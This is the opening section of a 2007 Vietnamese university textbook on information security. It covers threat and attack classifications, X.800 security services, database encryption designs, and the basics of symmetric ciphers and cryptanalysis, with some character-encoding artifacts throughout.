You are on page 1of 178

-1-

TRƯỜNG ðẠI HỌC GIAO THÔNG


KHOA CÔNG NGHỆ THÔNG TIN
BỘ MÔN KHOA HỌC MÁY TÍNH
Biên soạn TS. Trần Văn Dũng

GIÁO TRÌNH

AN TOÀN VÀ BẢO MẬT THÔNG TIN

Hà nội 8-2007
-2-

Mở ñầu

Gần ñây, môn học “An toàn và bảo mật thông tin” ñã ñược ñưa vào giảng dạy tại
hầu hết các Khoa Công nghệ Thông tin của các trường ñại học và cao ñẳng. Do các ứng
dụng trên mạng Internet ngày các phát triển và mở rộng, nên an toàn thông tin trên mạng
ñã trở thành nhu cầu bắt buộc cho mọi hệ thống ứng dụng. ðể ñáp ứng yêu cầu học tập và
tự tìm hiểu của sinh viên các chuyên ngành Công nghệ Thông tin, Bộ môn Khoa học máy
tính, Khoa Công nghệ Thông tin, trường ñại học Giao thông ñã tổ chức biên soạn giáo
trình này. Nội dung của nó ñược dựa trên một số tài liệu, nhưng chủ yếu là cuốn sách của
Giáo sư William Stallings “Cryptography and Network Security: Principles and
Practice”. Cuốn sách trên ñã ñược dùng làm tài liệu giảng dạy tại nhiều trường ñại học.
ðồng thời giáo trình này cũng ñược hoàn thiện từng bước dựa trên bài giảng của tác giả
cho 4 khóa sinh viên Khoa Công nghệ Thông tin vừa qua. Với mục ñích trang bị các
kiến thức cơ sở vừa ñủ và giúp cho sinh viên hiểu ñược bản chất của các khía cạnh an
ninh trên mạng, trong giáo trình tác giả ñã cố gắng trình bày tóm tắt các phần lý thuyết cơ
bản và ñưa ra các ứng dụng thực tế.
Giáo trình gồm 8 chương. Chương ñầu nêu tổng quan về bảo mật, chương 2 tóm
tắt sơ lược về mã cổ ñiển, chương 3 trình bày những khái niệm cơ bản về trường số học,
chương 4 giới thiệu về mã khối và chuẩn mã dữ liệu, chương 5 nêu về mã công khai và
RSA, chương 6 ñưa ra khái niệm xác thực và hàm băm, chương 7 giới thiệu ứng dụng về
an toàn Web và IP và cuối cùng chương 8 tóm tắt về kẻ xâm nhập và biện pháp phòng
chống bức tường lửa.
Do lần ñầu biên soạn và chưa có nhiều kinh nghiệm thực tế, nên không tránh khỏi
những sai sót và lỗi in ấn nhất ñịnh. Tác giả xin vui lòng tiếp nhận mọi sự ñóng góp giúp
cho giáo trình “An toàn và bảo mật thông tin” ngày càng tốt hơn. Mọi ý kiến xây dựng
xin gửi về theo ñịa chỉ sau: Trần Văn Dũng, Khoa Công nghệ Thông tin, ðại học Giao
thông Vận tải, Láng Thượng, ðống ña, Hà nội.
-3-

MỤC LỤC

MỞ ðẦU .............................................................................................................................2
CHƯƠNG I TỔNG QUAN VỀ BẢO MẬT..........................................................................5
I.1. Giới thiệu chung về bảo mật thông tin ................................................................5
I.2. Dịch vụ, cơ chế, tấn công ....................................................................................7
I.3. Mô hình an toàn mạng.........................................................................................8
I.4. Bảo mật thông tin trong hệ cơ sở dữ liệu ..........................................................10
CHƯƠNG II MÃ CỔ ðIỂN .............................................................................................14
II.1. Mã ñối xứng ......................................................................................................14
II.2. Các mã cổ ñiển thay thế ....................................................................................17
II.3. Các mã cổ ñiển hoán vị ...................................................................................124
II.4. Các vấn ñề khác...............................................................................................124
CHƯƠNG III TRƯỜNG SỐ HỌC .....................................................................................27
III.1. Các cấu trúc ñại số ...........................................................................................27
III.2. Các phép toán trên Modulo ...............................................................................28
III.3. Trường Galoa ....................................................................................................31
III.4. Giới thiệu lý thuyết số ......................................................................................36
CHƯƠNG IV MÃ KHỐI VÀ CHUÂN MÃ DỮ LIỆU ......................................................43
IV.1. Mã khối hiện ñại................................................................................................43
IV.2. Chuẩn mã dữ liệu DES .....................................................................................45
IV.3. Chuẩn mã nâng cao AES...................................................................................55
IV.4. Các mã ñối xứng ñương thời ............................................................................62
IV.5. Bảo mật dùng mã ñối xứng ...............................................................................67
CHƯƠNG V KHOÁ CÔNG KHAI VÀ RSA ....................................................................71
V.1 Mã công khai ....................................................................................................71
V.2 RSA ..................................................................................................................73
V.3 Quản lý khoá ....................................................................................................77
V.4 Phân phối khoá Diffie-Helman .........................................................................80
V.5 Mã ñường cong Elip..........................................................................................81
CHƯƠNG VI XÁC THỰC MẨU TIN VÀ CÁC HÀM HASH ........................................86
VI.1 Xác thực mẩu tin .............................................................................................86
VI.2 Các hàm HASH.................................................................................................88
VI.3 Các thuật toán HASH và MAC .........................................................................90
VI.4 Các ứng dụng xác thực ...................................................................................100
CHƯƠNG VII AN TOÀN IP VÀ WEB............................................................................106
-4-
VII.1 An toàn IP ......................................................................................................106
VII.2 An toàn Web....................................................................................................108
VII.3 Thanh toán ñiện tử an toàn ..............................................................................112
VII.4 An toàn thư ñiện tử.........................................................................................115
CHƯƠNG VIII KẺ XÂM NHẬP VÀ BỨC TƯỜNG LỬA ............................................120
VIII.1 Kẻ xâm nhập .................................................................................................120
VIII.2 Phần mềm có hại .............................................................................................123
VIII.3 Tràn bộ ñệm ...................................................................................................128
VIII.4 Bức tường lửa..................................................................................................134

DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT.....................................................171

Phụ lục .........................................................................................................................145


-5-

CHƯƠNG I
TỔNG QUAN VỀ BẢO MẬT

I.1 Giới thiệu chung về bảo mật thông tin


I.1.1 Mở ñầu về bảo mật thông tin
Ngày nay với sự phát triển bùng nổ của công nghệ thông tin, hầu hết các thông tin của
doanh nghiệp như chiến lược kinh doanh, các thông tin về khách hàng, nhà cung cấp, tài
chính, mức lương nhân viên,…ñều ñược lưu trữ trên hệ thống máy tính. Cùng với sự phát
triển của doanh nghiệp là những ñòi hỏi ngày càng cao của môi trường kinh doanh yêu
cầu doanh nghiệp cần phải chia sẻ thông tin của mình cho nhiều ñối tượng khác nhau qua
Internet hay Intranet. Việc mất mát, rò rỉ thông tin có thể ảnh hưởng nghiêm trọng ñến tài
chính, danh tiếng của công ty và quan hệ với khách hàng.
Các phương thức tấn công thông qua mạng ngày càng tinh vi, phức tạp có thể dẫn ñến
mất mát thông tin, thậm chí có thể làm sụp ñổ hoàn toàn hệ thống thông tin của doanh
nghiệp. Vì vậy an toàn và bảo mật thông tin là nhiệm vụ rất nặng nề và khó ñoán trước
ñược, nhưng tựu trung lại gồm ba hướng chính sau:
- Bảo ñảm an toàn thông tin tại máy chủ
- Bảo ñảm an toàn cho phía máy trạm
- Bảo mật thông tin trên ñường truyền
ðứng trước yêu cầu bảo mật thông tin, ngoài việc xây dựng các phương thức bảo mật
thông tin thì người ta ñã ñưa ra các nguyên tắc về bảo vệ dữ liệu như sau:
- Nguyên tắc hợp pháp trong lúc thu thập và xử lý dữ liệu.
- Nguyên tắc ñúng ñắn.
- Nguyên tắc phù hợp với mục ñích.
- Nguyên tắc cân xứng.
- Nguyên tắc minh bạch.
- Nguyên tắc ñược cùng quyết ñịnh cho từng cá nhân và bảo ñảm quyền truy cập
cho người có liên quan.
- Nguyên tắc không phân biệt ñối xử.
- Nguyên tắc an toàn.
- Nguyên tắc có trách niệm trước pháp luật.
- Nguyên tắc giám sát ñộc lập và hình phạt theo pháp luật.
- Nguyên tắc mức bảo vệ tương ứng trong vận chuyển dữ liệu xuyên biên giới.
Ở ñây chúng ta sẽ tập trung xem xét các nhu cầu an ninh và ñề ra các biện pháp an toàn
cũng như vận hành các cơ chế ñể ñạt ñược các mục tiêu ñó.
Nhu cầu an toàn thông tin:
-6-
• An toàn thông tin ñã thay ñổi rất nhiều trong thời gian gần ñây. Trước kia hầu như
chỉ có nhu cầu bảo mật thông tin, nay ñòi hỏi thêm nhiều yêu cầu mới như an ninh
máy chủ và trên mạng.
• Các phương pháp truyền thống ñược cung cấp bởi các cơ chế hành chính và
phương tiện vật lý như nơi lưu trữ bảo vệ các tài liệu quan trọng và cung cấp giấy
phép ñược quyền sử dụng các tài liệu mật ñó.
• Máy tính ñòi hỏi các phương pháp tự ñộng ñể bảo vệ các tệp và các thông tin lưu
trữ. Nhu cầu bảo mật rất lớn và rất ña dạng, có mặt khắp mọi nơi, mọi lúc. Do ñó
không thể không ñề ra các qui trình tự ñộng hỗ trợ bảo ñảm an toàn thông tin.
• Việc sử dụng mạng và truyền thông ñòi hỏi phải có các phương tiện bảo vệ dữ
liệu khi truyền. Trong ñó có cả các phương tiện phần mềm và phần cứng, ñòi hỏi
có những nghiên cứu mới ñáp ứng các bài toán thực tiễn ñặt ra.

Các khái niệm:


• An toàn máy tính: tập hợp các công cụ ñược thiết kế ñể bảo vệ dữ liệu và chống
hacker.
• An toàn mạng: các phương tiện bảo vệ dữ liệu khi truyền chúng.
• An toàn Internet: các phương tiện bảo vệ dữ liệu khi truyền chúng trên tập các
mạng liên kết với nhau.

Mục ñích của môn học là tập trung vào an toàn Internet gồm các phương tiện ñể bảo vệ,
chống, phát hiện, và hiệu chỉnh các phá hoại an toàn khi truyền và lưu trữ thông tin.

I.1.2 Nguy cơ và hiểm họa ñối với hệ thống thông tin


Các hiểm họa ñối với hệ thống có thể ñược phân loại thành hiểm họa vô tình hay cố ý,
chủ ñộng hay thụ ñộng.
- Hiểm họa vô tình: khi người dùng khởi ñộng lại hệ thống ở chế ñộ ñặc quyền, họ
có thể tùy ý chỉnh sửa hệ thống. Nhưng sau khi hoàn thành công việc họ không
chuyển hệ thống sang chế ñộ thông thường, vô tình ñể kẻ xấu lợi dụng.
- Hiểm họa cố ý: như cố tình truy nhập hệ thống trái phép.
- Hiểm họa thụ ñộng: là hiểm họa nhưng chưa hoặc không tác ñộng trực tiếp lên hệ
thống, như nghe trộm các gói tin trên ñường truyền.
- Hiểm họa chủ ñộng: là việc sửa ñổi thông tin, thay ñổi tình trạng hoặc hoạt ñộng
của hệ thống.
ðối với mỗi hệ thống thông tin mối ñe dọa và hậu quả tiềm ẩn là rất lớn, nó có thể xuất
phát từ những nguyên nhân như sau:
- Từ phía người sử dụng: xâm nhập bất hợp pháp, ăn cắp tài sản có giá trị
-7-
- Trong kiến trúc hệ thống thông tin: tổ chức hệ thống kỹ thuật không có cấu trúc
hoặc không ñủ mạnh ñể bảo vệ thông tin.
- Ngay trong chính sách bảo mật an toàn thông tin: không chấp hành các chuẩn an
toàn, không xác ñịnh rõ các quyền trong vận hành hệ thống.
- Thông tin trong hệ thống máy tính cũng sẽ dễ bị xâm nhập nếu không có công cụ
quản lý, kiểm tra và ñiều khiển hệ thống.
- Nguy cơ nằm ngay trong cấu trúc phần cứng của các thiết bị tin học và trong phần
mềm hệ thống và ứng dụng do hãng sản xuất cài sẵn các loại 'rệp' ñiện tử theo ý
ñồ ñịnh trước, gọi là 'bom ñiện tử'.
- Nguy hiểm nhất ñối với mạng máy tính mở là tin tặc, từ phía bọn tội phạm.

I.1.3 Phân loại tấn công phá hoại an toàn:

Các hệ thống trên mạng có thể là ñối tượng của nhiều kiểu tấn công:
- Tấn công giả mạo là một thực thể tấn công giả danh một thực thể khác. Tấn công
giả mạo thường ñược kết hợp với các dạng tấn công khác như tấn công chuyển
tiếp và tấn công sửa ñổi thông báo.
- Tấn công chuyển tiếp xảy ra khi một thông báo, hoặc một phần thông báo ñược
gửi nhiều lần, gây ra các tác ñộng tiêu cực.
- Tấn công sửa ñổi thông báo xảy ra khi nội dung của một thông báo bị sửa ñổi
nhưng không bị phát hiện.
- Tấn công từ chối dịch vụ xảy ra khi một thực thể không thực hiện chức năng của
mình, gây cản trở cho các thực thể khác thực hiện chức năng của chúng.
- Tấn công từ bên trong hệ thống xảy ra khi người dùng hợp pháp cố tình hoặc vô ý
can thiệp hệ thống trái phép. Còn tấn công từ bên ngoài là nghe trộm, thu chặn,
-8-
giả mạo người dùng hợp pháp và vượt quyền hoặc lách qua các cơ chế kiểm soát
truy nhập.
• Tấn công bị ñộng. Do thám, theo dõi ñường truyền ñể:
o nhận ñược nội dung bản tin hoặc
o theo dõi luồng truyền tin
• Tấn công chủ ñộng. Thay ñổi luồng dữ liệu ñể:
o giả mạo một người nào ñó.
o lặp lại bản tin trước
o thay ñổi ban tin khi truyền
o từ chối dịch vụ.

I.2 Dịch vụ, cơ chế, tấn công.


Nhu cầu thực tiến dẫn ñến sự cần thiết có một phương pháp hệ thống xác ñịnh các yêu
cầu an ninh của tổ chức. Trong ñó cần có tiếp cận tổng thể xét cả ba khía cạnh của an
toàn thông tin: bảo vệ tấn công, cơ chế an toàn và dịch vụ an toàn.
Sau ñây chúng ta xét chúng theo trình tự ngược lại:

I.2.1 Các dịch vụ an toàn.


ðây là công cụ ñảm bảo an toàn của hệ thống xử lý thông tin và truyền thông tin trong tổ
chức. Chúng ñược thiết lập ñể chống lại các tấn công phá hoại. Có thể dùng một hay
nhiều cơ chế an toàn ñể cung cấp dịch vụ.
Thông thường người ta cần phải tạo ra các liên kết với các tài liệu vật lý: như có chữ ký,
ngày tháng, bảo vệ cần thiết chống khám phá, sửa bậy, phá hoại, ñược công chứng, chứng
kiến, ñược ghi nhận hoặc có bản quyền.

I.2.2 Các cơ chế an toàn:


Từ các công việc thực tế ñể chống lại các phá hoại an ninh, người ta ñã hệ thống và sắp
xếp lại tạo thành các cơ chế an ninh khác nhau. ðây là cơ chế ñược thiết kế ñể phát hiện,
bảo vệ hoặc khôi phục do tấn công phá hoại.
Không có cơ chế ñơn lẻ nào ñáp ứng ñược mọi chức năng yêu cầu của công tác an ninh.
Tuy nhiên có một thành phần ñặc biệt nằm trong mọi cơ chế an toàn ñó là: kỹ thuật mã
hoá. Do ñó chúng ta sẽ dành một thời lượng nhất ñịnh tập trung vào lý thuyết mã.

I.2.3 Tấn công phá hoại an ninh:


Ta xác ñịnh rõ thế nào là các hành ñộng tấn công phá họai an ninh. ðó là mọi hành ñộng
chống lại sự an toàn thông tin của các tổ chức.
-9-
An toàn thông tin là bàn về bằng cách nào chống lại tấn công vào hệ thống thông tin hoặc
phát hiện ra chúng. Trên thực tế có rất nhiều cách và nhiều kiểu tấn công khác nhau.
Thường thuật ngữ ñe doạ và tấn công ñược dùng như nhau. Cần tập trung chống một số
kiểu tấn công chính: thụ ñộng và chủ ñộng.

I.3 Mô hình an toàn mạng


I.3.1 Kiến trúc an toàn của hệ thống truyền thông mở OSI.
ðể giúp cho việc hoạch ñịnh chính sách và xây dựng hệ thống an ninh tốt. Bộ phận chuẩn
hóa tiêu chuẩn của tổ chức truyền thông quốc tế (International Telecommunication
Union) ñã nghiên cứu và ñề ra Kiến trúc an ninh X800 dành cho hệ thống trao ñổi thông
tin mở OSI. Trong ñó ñịnh nghĩa một cách hệ thống phương pháp xác ñịnh và cung cấp
các yêu cầu an toàn.Nó cung cấp cho chúng ta một cách nhìn tổng quát, hữu ích về các
khái niệm mà chúng ta nghiên cứu.
Trước hết nói về dich vụ an toàn, X800 ñịnh nghĩa ñây là dịch vụ cung cấp cho tầng
giao thức của các hệ thống mở trao ñổi thông tin, mà ñảm bảo an toàn thông tin cần
thiết cho hệ thống và cho việc truyền dữ liệu.
Trong tài liệu các thuật ngữ chuẩn trên Internet RFC 2828 ñã nêu ñịnh nghĩa cụ thể
hơn dich vụ an toàn là dịch vụ trao ñổi và xử lý cung cấp cho hệ thống việc bảo vệ
ñặc biệt cho các thông tin nguồn.Tài liệu X800 ñưa ra ñịnh nghĩa dịch vụ theo 5 loại
chính:
- Xác thực: tin tưởng là thực thể trao ñổi ñúng là cái ñã tuyên bố. Người ñang trao
ñổi xưng tên với mình ñúng là anh ta, không cho phép người khác mạo danh.
- 10 -
- Quyền truy cập: ngăn cấm việc sử dụng nguồn thông tin không ñúng vai trò.
Mỗi ñối tượng trong hệ thống ñược cung cấp các quyền hạn nhất ñịnh và chỉ ñược
hành ñộng trong khuôn khổ các quyền hạn ñó.
- Bảo mật dữ liệu: bảo vệ dữ liệu không bị khám phá bởi người không có quyền.
Chẳng hạn như dùng các ký hiệu khác ñể thay thế các ký hiệu trong bản tin, mà
chỉ người có bản quyền mới có thể khôi phục nguyên bản của nó.
- Toàn vẹn dữ liệu: tin tưởng là dữ liệu ñược gửi từ người có quyền. Nếu có thay
ñổi như làm trì hoãn về mặt thời gian hay sửa ñổi thông tin, thì xác thực sẽ cho
cách kiểm tra nhận biết là có các hiện tượng ñó ñã xảy ra.
- Không từ chối: chống lại việc chối bỏ của một trong các bên tham gia trao ñổi.
Người gửi cũng không trối bỏ là mình ñã gửi thông tin với nội dung như vậy và
người nhận không thể nói dối là tôi chưa nhận ñược thông tin ñó. ðiều này là rất
cần thiết trong việc trao ñổi, thỏa thuận thông tin hàng ngày.
Cơ chế an toàn ñược ñịnh nghĩa trong X800 như sau:
- Cơ chế an toàn chuyên dụng ñược cài ñặt trong một giao thức của một tầng vận
chuyển nào ñó: mã hoá, chữ ký ñiện tử, quyền truy cập, toàn vẹn dữ liệu, trao ñổi
có phép, ñệm truyền, kiểm soát ñịnh hướng, công chứng.
- Cơ chế an toàn phổ dụng không chỉ rõ ñược dùng cho giao thức trên tầng nào
hoặc dịch vụ an ninh cụ thể nào: chức năng tin cậy cho một tiêu chuẩn nào ñó,
nhãn an toàn chứng tỏ ñối tượng có tính chất nhất ñịnh, phát hiện sự kiện, vết theo
dõi an toàn, khôi phục an toàn.

I.3.2 Mô hình an toàn mạng tổng quát


Sử dụng mô hình trên ñòi hỏi chúng ta phải thiết kế:
o thuật toán phù hợp cho việc truyền an toàn.
o Phát sinh các thông tin mật (khoá) ñược sử dụng bởi các thuật toán.
o Phát triển các phương pháp phân phối và chia sẻ các thông tin mật.
o ñặc tả giao thức cho các bên ñể sử dụng việc truyền và thông tin mật cho
các dịch vụ an toàn.

Mô hình truy cập mạng an toàn:


- 11 -

Sử dụng mô hình trên ñòi hỏi chúng ta phải:


o Lựa chọn hàm canh cổng phù hợp cho người sử dụng có danh tính.
o Cài ñặt kiểm soát quyền truy cập ñể tin tưởng rằng chỉ có người có quyền
mới truy cập ñược thông tin ñích hoặc nguồn.
o Các hệ thống máy tính tin cậy có thể dùng mô hình này.

I.4 Bảo mật thông tin trong hệ cơ sở dữ liệu


I.4.1 Giới thiệu chung
Các hệ cơ sở dữ liệu (CSDL) ngày nay như Oracle, SQL/Server, DB2/Informix ñều có
sẵn các công cụ bảo vệ tiêu chuẩn như hệ thống ñịnh danh và kiểm soát truy xuất. Tuy
nhiên, các biện pháp bảo vệ này hầu như không có tác dụng trước các tấn công từ bên
trong. ðể bảo vệ thông tin khỏi mối ñe dọa này, người ta ñưa ra hai giải pháp.
- 12 -
Giải pháp ñơn giản nhất bảo vệ dữ liệu trong CSDL ở mức ñộ tập tin, chống lại sự truy
cập trái phép vào các tập tin CSDL bằng hình thức mã hóa. Tuy nhiên, giải pháp này
không cung cấp mức ñộ bảo mật truy cập ñến CSDL ở mức ñộ bảng, cột và dòng. Một
ñiểm yếu nữa của giải pháp này là bất cứ ai với quyền truy xuất CSDL ñều có thể truy
cập vào tất cả dữ liệu trong CSDL cũng có nghĩa là cho phép các ñối tượng với quyền
quản trị truy cập tất cả các dữ liệu nhạy cảm.
Giải pháp thứ hai, giải quyết vấn ñề mã hóa ở mức ứng dụng. Giải pháp này xử lý mã hóa
dữ liệu trước khi truyền dữ liệu vào CSDL. Những vấn ñề về quản lý khóa và quyền truy
cập ñược hỗ trợ bởi ứng dụng. Truy vấn dữ liệu ñến CSDL sẽ trả kết quả dữ liệu ở dạng
mã hóa và dữ liệu này sẽ ñược giải mã bởi ứng dụng. Giải pháp này giải quyết ñược vấn
ñề phân tách quyền an toàn và hỗ trợ các chính sách an toàn dựa trên vai trò.

I.4.2 Một số mô hình bảo mật cơ sở dữ liệu


ðể ñáp ứng những yêu cầu về bảo mật cho các hệ thống CSDL hiện tại và sau này người
ta ñưa ra 2 mô hình bảo mật CSDL thông thường sau ñây

Xây dựng tầng CSDL trung gian:


Một CSDL trung gian ñược xây dựng giữa ứng dụng và CSDL gốc. CSDL trung gian này
có vai trò mã hóa dữ liệu trước khi cập nhật vào CSDL gốc, ñồng thời giải mã dữ liệu
trước khi cung cấp cho ứng dụng. CSDL trung gian ñồng thời cung cấp thêm các chức
năng quản lý khóa, xác thực người dùng và cấp phép truy cập.
Giải pháp này cho phép tạo thêm nhiều chức năng về bảo mật cho CSDL. Tuy nhiên, mô
hình CSDL trung gian ñòi hỏi xây dựng một ứng dụng CSDL tái tạo tất cả các chức năng
của CSDL gốc.

Mô hình trung gian


- 13 -

Sử dụng cơ chế sẵn có trong CSDL

Mô hình này giải quyết các vấn ñề mã hóa cột dựa trên các cơ chế sau:
a. Các hàm Stored Procedure trong CSDL cho chức năng mã hóa và giải mã
b. Sử dụng cơ chế View trong CSDL tạo các bảng ảo, thay thế các bảng thật ñã ñược mã
hóa.
c. Cơ chế “instead of” trigger ñược sử dụng nhằm tự ñộng hóa quá trình mã hóa từ View
ñến bảng gốc.
Trong mô hình này, dữ liệu trong các bảng gốc sẽ ñược mã hóa, tên của bảng gốc ñược
thay ñổi. Một bảng ảo ñược tạo ra mang tên của bảng gốc, ứng dụng sẽ truy cập ñến bảng
ảo này.
Truy xuất dữ liệu trong mô hình này có thể ñược tóm tắt như sau:

Mô hình bảng ảo

Các truy xuất dữ liệu ñến bảng gốc sẽ ñược thay thế bằng truy xuất ñến bảng ảo.
Bảng ảo ñược tạo ra ñể mô phỏng dữ liệu trong bảng gốc. Khi thực thi lệnh “select”, dữ
liệu sẽ ñược giải mã cho bảng ảo từ bảng gốc (ñã ñược mã hóa). Khi thực thi lệnh “Insert,
Update”, “instead of” trigger sẽ ñược thi hành và mã hóa dữ liệu xuống bảng gốc.
Quản lý phân quyền truy cập ñến các cột sẽ ñược quản lý ở các bảng ảo. Ngoài các quyền
cơ bản do CSDL cung cấp, hai quyền truy cập mới ñược ñịnh nghĩa:
1. Người sử dụng chỉ ñược quyền ñọc dữ liệu ở dạng mã hóa. Quyền này phù hợp với
những ñối tượng cần quản lý CSDL mà không cần ñọc nội dung dữ liệu.
2. Người sử dụng ñược quyền ñọc dữ liệu ở dạng giải mã.
- 14 -

I.4.3 Sơ lược kiến trúc của 1 hệ bảo mật CSDL

Triggers: các trigger ñược sử dụng ñể lấy dữ liệu ñến từ các câu lệnh INSERT, UPDATE
(ñể mã hóa).
Views: các view ñược sử dụng ñể lấy dữ liệu ñến từ các câu lệnh SELECT (ñể giải mã).
Extended Stored Procedures: ñược gọi từ các Trigger hoặc View dùng ñể kích hoạt các
dịch vụ ñược cung cấp bởi Modulo DBPEM từ trong môi trường của hệ quản tri CSDL.
DBPEM (Database Policy Enforcing Modulo): cung cấp các dịch vụ mã hóa/giải mã dữ
liệu gửi ñến từ các Extended Stored Procedures và thực hiện việc kiểm tra quyền truy
xuất của người dùng (dựa trên các chính sách bảo mật ñược lưu trữ trong CSDL về quyền
bảo mật).

Kiến trúc một hệ bảo mật CSDL

Security Database: lưu trữ các chính sách bảo mật và các khóa giải mã. Xu hướng ngày
nay thường là lưu trữ CSDL về bảo mật này trong Active Directory (một CSDL dạng thư
mục ñể lưu trữ tất cả thông tin về hệ thống mạng).
Security Services: chủ yếu thực hiện việc bảo vệ các khóa giải mã ñược lưu trong CSDL
bảo mật.
Management Console: dùng ñể cập nhật thông tin lưu trong CSDL bảo mật (chủ yếu là
soạn thảo các chính sách bảo mật) và thực hiện thao tác bảo vệ một trường nào ñó trong
CSDL ñể ñảm bảo tối ña tính bảo mật, thông tin ñược trao ñổi.
- 15 -

CHƯƠNG II
MÃ CỔ ðIỂN
Mã hoá cổ ñiển là phương pháp mã hoá ñơn giản nhất xuất hiện ñầu tiên trong lịch sử
ngành mã hoá. Thuật toán ñơn giản và dễ hiểu. Những phương pháp mã hoá này là cở sở
cho việc nghiên cứu và phát triển thuật toán mã hoá ñối xứng ñược sử dụng ngày nay.
Trong mã hoá cổ ñiển có hai phương pháp nổi bật ñó là:
- Mã hoá thay thế
- Mã hoá hoán vị
Mọi mã cổ ñiển ñều là mã ñối xứng mà chúng ta sẽ xét trong phần sau.

II.1 Mã ñối xứng.


II.1.1 Các khái niệm cơ bản
Mật mã ñối xứng sử dụng cùng một khóa cho việc mã hóa và giải mã. Có thể nói mã ñối
xứng là mã một khoá hay mã khóa riêng hay mã khoá thỏa thuận.
Ở ñây người gửi và người nhận chia sẻ khoá chung K, mà họ có thể trao ñổi bí mật với
nhau. Ta xét hai hàm ngược nhau: E là hàm biến ñổi bản rõ thành bản mã và D là hàm
biến ñổi bản mã trở về bản rõ. Giả sử X là văn bản cần mã hóa và Y là dạng văn bản ñã
ñược thay ñổi qua việc mã hóa. Khi ñó ta ký hiệu:
Y = EK(X)
X = DK(Y)
Mọi thuật toán mã cổ ñiển ñều là mã khoá ñối xứng, vì ở ñó thông tin về khóa ñược chia
sẻ giữa người gửi và người nhận. Mã ñối xứng là kiểu duy nhất trước khi phát minh ra
khoá mã công khai (còn ñược gọi là mã không ñối xứng) vào những năm 1970. Hiện nay
các mã ñối xứng và công khai tiếp tục phát triển và hoàn thiện. Mã công khai ra ñời hỗ
trợ mã ñối xứng chứ không thay thế nó, do ñó mã ñối xứng ñến nay vẫn ñược sử dụng
rộng rãi.

Sau ñây ta ñưa ra ñịnh nghĩa một số khái niệm cơ bản về mã hóa.
1. Bản rõ X ñược gọi là là bản tin gốc. Bản rõ có thể ñược chia nhỏ có kích thước
phù hợp.
2. Bản mã Y là bản tin gốc ñã ñược mã hoá. Ở ñây ta thường xét phương pháp mã
hóa mà không làm thay ñổi kích thước của bản rõ, tức là chúng có cùng ñộ dài.
3. Mã là thuật toán E chuyển bản rõ thành bản mã. Thông thường chúng ta cần thuật
toán mã hóa mạnh, cho dù kẻ thù biết ñược thuật toán, nhưng không biết thông tin
về khóa cũng không tìm ñược bản rõ.
- 16 -
4. Khoá K là thông tin tham số dùng ñể mã hoá, chỉ có người gửi và nguời nhận
biết. Khóa là ñộc lập với bản rõ và có ñộ dài phù hợp với yêu cầu bảo mật.
5. Mã hoá là quá trình chuyển bản rõ thành bản mã, thông thường bao gồm việc áp
dụng thuật toán mã hóa và một số quá trình xử lý thông tin kèm theo.
6. Giải mã chuyển bản mã thành bản rõ, ñây là quá trình ngược lại của mã hóa.
7. Mật mã là chuyên ngành khoa học của Khoa học máy tính nghiên cứu về các
nguyên lý và phương pháp mã hoá. Hiện nay người ta ñưa ra nhiều chuẩn an toàn
cho các lĩnh vực khác nhau của công nghệ thông tin.
8. Thám mã nghiên cứu các nguyên lý và phương pháp giải mã mà không biết khoá.
Thông thường khi ñưa các mã mạnh ra làm chuẩn dùng chung giữa các người sử
dụng, các mã ñó ñược các kẻ thám mã cũng như những người phát triển mã tìm
hiểu nghiên cứu các phương pháp giải một phần bản mã với các thông tin không
ñầy ñủ.
9. Lý thuyết mã bao gồm cả mật mã và thám mã. Nó là một thể thống nhất, ñể ñánh
giá một mã mạnh hay không, ñều phải xét từ cả hai khía cạnh ñó. Các nhà khoa
học mong muốn tìm ra các mô hình mã hóa khái quát cao ñáp ứng nhiều chính
sách an toàn khác nhau.

Mô hình mã ñối xứng

II.1.2 Các yêu cầu.


Một mã ñối xứng có các ñặc trưng là cách xử lý thông tin của thuật toán mã, giải mã, tác
ñộng của khóa vào bản mã, ñộ dài của khóa. Mối liên hệ giữa bản rõ, khóa và bản mã
- 17 -
càng phức tạp càng tốt, nếu tốc ñộ tính toán là chấp nhận ñược. Cụ thể hai yêu cầu ñể sử
dụng an toàn mã khoá ñối xứng là
1. Thuật toán mã hoá mạnh. Có cơ sở toán học vững chắc ñảm bảo rằng mặc dù
công khai thuật toán, mọi người ñều biết, nhưng việc thám mã là rất khó khăn và
phức tạp nếu không biết khóa.
2. Khoá mật chỉ có người gửi và người nhận biết. Có kênh an toàn ñể phân phối
khoá giữa các người sử dụng chia sẻ khóa. Mối liên hệ giữa khóa và bản mã là
không nhận biết ñược.
II.1.3 Mật mã
Hệ mật mã ñược ñặc trưng bởi các yếu tố sau
- Kiểu của thao tác mã hoá ñược sử dụng trên bản rõ:
1. Phép thế - thay thế các ký tự trên bản rõ bằng các ký tự khác
2. Hoán vị - thay ñổi vị trí các ký tự trong bản rõ, tức là thực hiện hoán vị
các ký tự của bản rõ.
3. Tích của chúng, tức là kết hợp cả hai kiểu thay thế và hoán vị các ký tự
của bản rõ.
- Số khoá ñược sử dụng khi mã hóa: một khoá duy nhất - khoá riêng hoặc hai khoá -
khoá công khai. Ngoài ra còn xem xét số khóa ñược dùng có nhiều không.
- Một ñặc trưng của mã nữa là cách mà bản rõ ñược xử lý, theo:
1. Khối - dữ liệu ñược chia thành từng khối có kích thước xác ñịnh và áp
dụng thuật toán mã hóa với tham số khóa cho từng khối.
2. Dòng - từng phần tử ñầu vào ñược xử lý liên tục tạo phần tử ñầu ra tương
ứng.
II.1.4 Thám mã.
Có hai cách tiếp cận tấn công mã ñối xứng.
1. Tấn công thám mã dựa trên thuật toán và một số thông tin về các ñặc
trưng chung về bản rõ hoặc một số mẫu bản rõ/bản mã. Kiểu tấn công này
nhằm khai phá các ñặc trưng của thuật toán ñể tìm bản rõ cụ thể hoặc tìm
khóa. Nếu tìm ñược khóa thì là tai họa lớn.
2. Tấn công duyệt toàn bộ: kẻ tấn công tìm cách thử mọi khóa có thể trên bản
mã cho ñến khi nhận ñược bản rõ. Trung bình cần phải thử một nửa số
khóa mới tìm ñược.

Các kiểu tấn công thám mã.


- Chỉ dùng bản mã: biết thuật toán và bản mã, dùng phương pháp thống kê, xác ñịnh
bản rõ.
- Biết bản rõ: biết thuật toán, biết ñược bản mã/bản rõ tấn công tìm khóa.
- 18 -
- Chọn bản rõ: chọn bản rõ và nhận ñược bản mã, biết thuật toán tấn công tìm khóa.
- Chọn bản mã: chọn bản mã và có ñược bản rõ tương ứng, biết thuật toán tấn công
tìm khóa.
- Chọn bản tin: chọn ñược bản rõ hoặc mã và mã hoặc giải mã tuơng ứng, tấn công
tìm khóa.

